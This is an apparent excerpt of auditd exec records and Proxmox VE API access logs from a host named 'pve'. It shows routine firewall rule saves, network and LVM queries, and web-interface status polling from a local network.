a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57406 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155859,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.859:68675): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965440278,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964545490,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.490:61471): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966155848,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.848:68673): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964875963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.963:63026): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555082,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.082:66103): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc27c17460 a1=6368f3e31310 a2=6368f3e2a680 a3=5 items=1 ppid=63485 pid=63486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964091600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964145742,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.742:59776): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57405 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155852,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.852:68674): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965440278,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964545483,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.483:61470): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966155845,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.845:68672): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964875877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.877:63022): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcb23cc360 a1=6537a67a1200 a2=6537a677f680 a3=5 items=1 ppid=60470 pid=60471 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965553430,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965553.430:66093): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63475 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964090583,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 855"} {"@timestamp":1781964145735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.735:59775): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57404 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.848:68673): arch=c000003e syscall=59 success=yes exit=0 a0=58d84738bb20 a1=58d847397a30 a2=58d847365680 a3=5 items=2 ppid=65939 pid=65945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965440278,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964545476,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.476:61469): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966155844,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.844:68671): argc=1 a0=\"date\""} {"@timestamp":1781964875795,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.795:63003): arch=c000003e syscall=59 success=no exit=-2 a0=7ffee5e48be0 a1=632dfa8bc3d0 a2=632dfa89a680 a3=5 items=1 ppid=60450 pid=60451 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965553429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965553.429:66092): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63475 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964088563,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781964145731,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.731:59774): arch=c000003e syscall=59 success=yes exit=0 a0=59e9d3709d30 a1=59e9d3715f00 a2=59e9d36e3680 a3=5 items=2 ppid=57397 pid=57403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155845,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.845:68672): arch=c000003e syscall=59 success=yes exit=0 a0=58d83dfecac8 a1=7ffd589abf40 a2=58d847365680 a3=58d83dfd024e items=2 ppid=65939 pid=65941 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965438685,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964545470,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.470:61468): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966155839,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.839:68669): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964870956,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964870.956:62987): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965553422,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965553.422:66090): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63474 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964087552,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964145728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.728:59773): arch=c000003e syscall=59 success=yes exit=0 a0=59e9aa5a3ac8 a1=7ffe2c5d1d90 a2=59e9d36e3680 a3=59e9aa58724e items=2 ppid=57397 pid=57399 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.844:68671): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd589abf00 a1=58d8473871c0 a2=58d847365680 a3=5 items=2 ppid=65939 pid=65940 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965438685,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964545463,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.463:61467): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966155831,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.831:68668): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964870956,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964870.956:62986): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965553422,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965553.422:66089): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63474 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964084653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964145726,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.726:59772): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe2c5d1d50 a1=59e9d37053d0 a2=59e9d36e3680 a3=5 items=2 ppid=57397 pid=57398 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.839:68669): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65939 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965436759,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964545456,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.456:61466): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966155824,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.824:68667): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964870946,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964870.946:62984): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548415,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965548.415:66087): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964084653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 839"} {"@timestamp":1781964145722,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.722:59770): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57397 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155831,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.831:68668): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65938 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965436759,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964544778,"@rawstring":"node=pve type=EXECVE msg=audit(1781964544.778:61465): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966155818,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.818:68666): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964870946,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964870.946:62983): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548415,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965548.415:66086): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964083636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964145715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.715:59769): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57396 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155824,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.824:68667): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65937 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965436759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781964544766,"@rawstring":"node=pve type=EXECVE msg=audit(1781964544.766:61462): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966155810,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.810:68665): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964865936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.936:62981): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965548.408:66084): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964080592,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964145708,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.708:59768): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57395 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155818,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.818:68666): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae0f50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965436759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964544317,"@rawstring":"node=pve type=EXECVE msg=audit(1781964544.317:61459): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966155802,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.802:68664): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964865936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.936:62980): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965548.408:66083): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964079595,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964145702,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.702:59767): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0df040 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57394 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.810:68665): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e42c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965436759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964544291,"@rawstring":"node=pve type=EXECVE msg=audit(1781964544.291:61458): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.617:68663): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964865929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.929:62978): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965546008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965546.008:66079): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe4d0df1f0 a1=55754c82e310 a2=55754c827680 a3=5 items=1 ppid=63465 pid=63466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964078558,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964145696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.696:59766): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148ab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57393 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155802,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.802:68664): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130ef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965434155,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781964539761,"@rawstring":"node=pve type=EXECVE msg=audit(1781964539.761:61457): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.608:68660): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964865929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.929:62977): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.896:66061): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcdbcda780 a1=5d76d0a221c0 a2=5d76d0a00680 a3=5 items=1 ppid=63446 pid=63447 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 